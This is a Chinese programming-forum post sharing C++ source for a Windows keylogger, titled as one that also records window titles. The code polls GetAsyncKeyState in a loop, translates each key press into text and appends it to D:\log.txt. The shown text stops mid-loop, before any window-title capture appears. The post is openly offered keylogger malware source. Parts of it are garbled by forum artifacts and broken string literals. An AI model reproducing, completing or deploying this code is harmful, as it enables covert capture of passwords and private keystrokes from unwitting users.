VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 711|回复: 1

键盘记录源码记录窗口标题

[复制链接]
57_avatar_middle
最佳答案
0 
在线会员 发表于 2019-5-2 19:29:14 | 显示全部楼层 |阅读模式
3驿站币
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#include <iostream>
using namespace std;
string GetKey(int Key) // 判断键盘按下什么键
{
&#160; &#160; &#160; &#160; string KeyString = "";
&#160; &#160; &#160; &#160; //判断符号输入
&#160; &#160; &#160; &#160; const int KeyPressMask = 0x80000000; //键盘掩码常量
&#160; &#160; &#160; &#160; int iShift = GetKeyState(0x10); //判断Shift键状态
&#160; &#160; &#160; &#160; bool IS = (iShift & KeyPressMask) == KeyPressMask; //表示按下Shift键
&#160; &#160; &#160; &#160; if (Key >= 186 && Key <= 222)
&#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; switch (Key)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 186:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = ":";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = ";";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 187:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "+";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "=";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 188:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "<";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = ",";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 189:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "_";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "-";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 190:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = ">";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = ".";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 191:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "?";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "/";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 192:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "~";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "`";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 219:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "{";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 220:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "|";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "\";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 221:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "}";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "]";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 222:
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = '"';
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "'";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; //判断键盘的第一行
&#160; &#160; &#160; &#160; if (Key == VK_ESCAPE) // 退出
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Esc]";
&#160; &#160; &#160; &#160; else if (Key == VK_F1) // F1至F12
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F1]";
&#160; &#160; &#160; &#160; else if (Key == VK_F2)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F2]";
&#160; &#160; &#160; &#160; else if (Key == VK_F3)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F3]";
&#160; &#160; &#160; &#160; else if (Key == VK_F4)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F4]";
&#160; &#160; &#160; &#160; else if (Key == VK_F5)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F5]";
&#160; &#160; &#160; &#160; else if (Key == VK_F6)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F6]";
&#160; &#160; &#160; &#160; else if (Key == VK_F7)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F7]";
&#160; &#160; &#160; &#160; else if (Key == VK_F8)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F8]";
&#160; &#160; &#160; &#160; else if (Key == VK_F9)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F9]";
&#160; &#160; &#160; &#160; else if (Key == VK_F10)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F10]";
&#160; &#160; &#160; &#160; else if (Key == VK_F11)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F11]";
&#160; &#160; &#160; &#160; else if (Key == VK_F12)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[F12]";
&#160; &#160; &#160; &#160; else if (Key == VK_SNAPSHOT) // 打印屏幕
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[PrScrn]";
&#160; &#160; &#160; &#160; else if (Key == VK_SCROLL) // 滚动锁定
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Scroll Lock]";
&#160; &#160; &#160; &#160; else if (Key == VK_PAUSE) // 暂停、中断
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Pause]";
&#160; &#160; &#160; &#160; else if (Key == VK_CAPITAL) // 大写锁定
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Caps Lock]";
&#160; &#160; &#160; &#160; //-------------------------------------//
&#160; &#160; &#160; &#160; //控制键
&#160; &#160; &#160; &#160; else if (Key == 8) //<- 回格键
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Backspace]";
&#160; &#160; &#160; &#160; else if (Key == VK_RETURN) // 回车键、换行
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Enter]\n";
&#160; &#160; &#160; &#160; else if (Key == VK_SPACE) // 空格
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = " ";
&#160; &#160; &#160; &#160; //上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
&#160; &#160; &#160; &#160; //上档键和别的键组合,输出时有字符输出
&#160; &#160; &#160; &#160; /*
&#160; &#160; &#160; &#160; else if (Key == VK_LSHIFT) // 左侧上档键
&#160; &#160; &#160; &#160; KeyString = "[Shift]";
&#160; &#160; &#160; &#160; else if (Key == VK_LSHIFT) // 右侧上档键
&#160; &#160; &#160; &#160; KeyString = "[SHIFT]";
&#160; &#160; &#160; &#160; */
&#160; &#160; &#160; &#160; /*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
&#160; &#160; &#160; &#160; else if (Key == VK_TAB) // 制表键
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Tab]";
&#160; &#160; &#160; &#160; else if (Key == VK_LCONTROL) // 左控制键
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Ctrl]";
&#160; &#160; &#160; &#160; else if (Key == VK_RCONTROL) // 右控制键
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[CTRL]";
&#160; &#160; &#160; &#160; else if (Key == VK_LMENU) // 左换档键
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Alt]";
&#160; &#160; &#160; &#160; else if (Key == VK_LMENU) // 右换档键
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[ALT]";
&#160; &#160; &#160; &#160; else if (Key == VK_LWIN) // 右 WINDOWS 键
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Win]";
&#160; &#160; &#160; &#160; else if (Key == VK_RWIN) // 右 WINDOWS 键
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[WIN]";
&#160; &#160; &#160; &#160; else if (Key == VK_APPS) // 键盘上 右键
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "右键";
&#160; &#160; &#160; &#160; else if (Key == VK_INSERT) // 插入
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Insert]";
&#160; &#160; &#160; &#160; else if (Key == VK_DELETE) // 删除
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Delete]";
&#160; &#160; &#160; &#160; else if (Key == VK_HOME) // 起始
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Home]";
&#160; &#160; &#160; &#160; else if (Key == VK_END) // 结束
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[End]";
&#160; &#160; &#160; &#160; else if (Key == VK_PRIOR) // 上一页
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[PgUp]";
&#160; &#160; &#160; &#160; else if (Key == VK_NEXT) // 下一页
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[PgDown]";
&#160; &#160; &#160; &#160; // 不常用的几个键:一般键盘没有
&#160; &#160; &#160; &#160; else if (Key == VK_CANCEL) // Cancel
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Cancel]";
&#160; &#160; &#160; &#160; else if (Key == VK_CLEAR) // Clear
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Clear]";
&#160; &#160; &#160; &#160; else if (Key == VK_SELECT) //Select
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Select]";
&#160; &#160; &#160; &#160; else if (Key == VK_PRINT) //Print
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Print]";
&#160; &#160; &#160; &#160; else if (Key == VK_EXECUTE) //Execute
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[Execute]";
&#160; &#160; &#160; &#160; //----------------------------------------//
&#160; &#160; &#160; &#160; else if (Key == VK_LEFT) //上、下、左、右键
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[←]";
&#160; &#160; &#160; &#160; else if (Key == VK_RIGHT)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[→]";
&#160; &#160; &#160; &#160; else if (Key == VK_UP)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[↑]";
&#160; &#160; &#160; &#160; else if (Key == VK_DOWN)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[↓]";
&#160; &#160; &#160; &#160; else if (Key == VK_NUMLOCK)//小键盘数码锁定
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[NumLock]";
&#160; &#160; &#160; &#160; else if (Key == VK_ADD) // 加、减、乘、除
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "+";
&#160; &#160; &#160; &#160; else if (Key == VK_SUBTRACT)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "-";
&#160; &#160; &#160; &#160; else if (Key == VK_MULTIPLY)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "*";
&#160; &#160; &#160; &#160; else if (Key == VK_DIVIDE)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "/";
&#160; &#160; &#160; &#160; else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = ".";
&#160; &#160; &#160; &#160; //小键盘数字键:0-9
&#160; &#160; &#160; &#160; else if (Key == VK_NUMPAD0)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "0";
&#160; &#160; &#160; &#160; else if (Key == VK_NUMPAD1)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "1";
&#160; &#160; &#160; &#160; else if (Key == VK_NUMPAD2)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "2";
&#160; &#160; &#160; &#160; else if (Key == VK_NUMPAD3)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "3";
&#160; &#160; &#160; &#160; else if (Key == VK_NUMPAD4)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "4";
&#160; &#160; &#160; &#160; else if (Key == VK_NUMPAD5)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "5";
&#160; &#160; &#160; &#160; else if (Key == VK_NUMPAD6)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "6";
&#160; &#160; &#160; &#160; else if (Key == VK_NUMPAD7)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "7";
&#160; &#160; &#160; &#160; else if (Key == VK_NUMPAD8)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "8";
&#160; &#160; &#160; &#160; else if (Key == VK_NUMPAD9)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "9";
&#160; &#160; &#160; &#160; //-------------------------------------------//
&#160; &#160; &#160; &#160; //-------------------------------------------//
&#160; &#160; &#160; &#160; //*对字母的大小写进行判断*//
&#160; &#160; &#160; &#160; else if (Key >= 97 && Key <= 122) // 字母:a-z
&#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (GetKeyState(VK_CAPITAL)) // 大写锁定
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS) //Shift按下:为小写字母
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = Key;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else // 只有大写锁定:输出大写字母
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = Key - 32;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else// 大写没有锁定
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS) // 按下Shift键: 大写字母
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = Key - 32;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else // 没有按Shift键: 小写字母
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = Key;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; else if (Key >= 48 && Key <= 57) // 键盘数字:0-9及上方的符号
&#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; switch (Key)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 48: //0
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = ")";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 49://1
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "!";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 50://2
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "@";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 51://3
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "#";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 52://4
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "[&#160; &#160;&#160; &#160;&#160;&#160;DISCUZ_CODE_0&#160; &#160;&#160; &#160;&#160;&#160;]quot;;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 53://5
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "%";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 54://6
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "^";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 55://7
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "&";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 56://8
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "*";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; case 57://9
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = "(";
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; break;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = Key;
&#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; if (Key != VK_LBUTTON || Key != VK_RBUTTON)
&#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (Key >= 65 && Key <= 90) //ASCII 65-90 为A-Z
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS) // 大写锁定,并且按下上档键:输出为小写字母
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = Key + 32;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else //只有大写锁定:输出为大写字母
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = Key;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else // 大写没有锁定:a-z
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (IS)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = Key;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; else
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Key = Key + 32;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; KeyString = Key;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; return KeyString;
}
void main()
{
&#160; &#160; &#160; &#160; string Filename = "D:\\log.txt";//倒出记录文本存在D盘log.txt目录下
&#160; &#160; &#160; &#160; string TempString = "";
&#160; &#160; &#160; &#160; fstream FStream;
&#160; &#160; &#160; &#160; cout << "现在开始键盘记录";
&#160; &#160; &#160; &#160; FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
&#160; &#160; &#160; &#160; while (true)
&#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Sleep(5);
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; for (int i = 8; i <= 255; i++)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; if (GetAsyncKeyState(i) & 1 == 1)
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; {
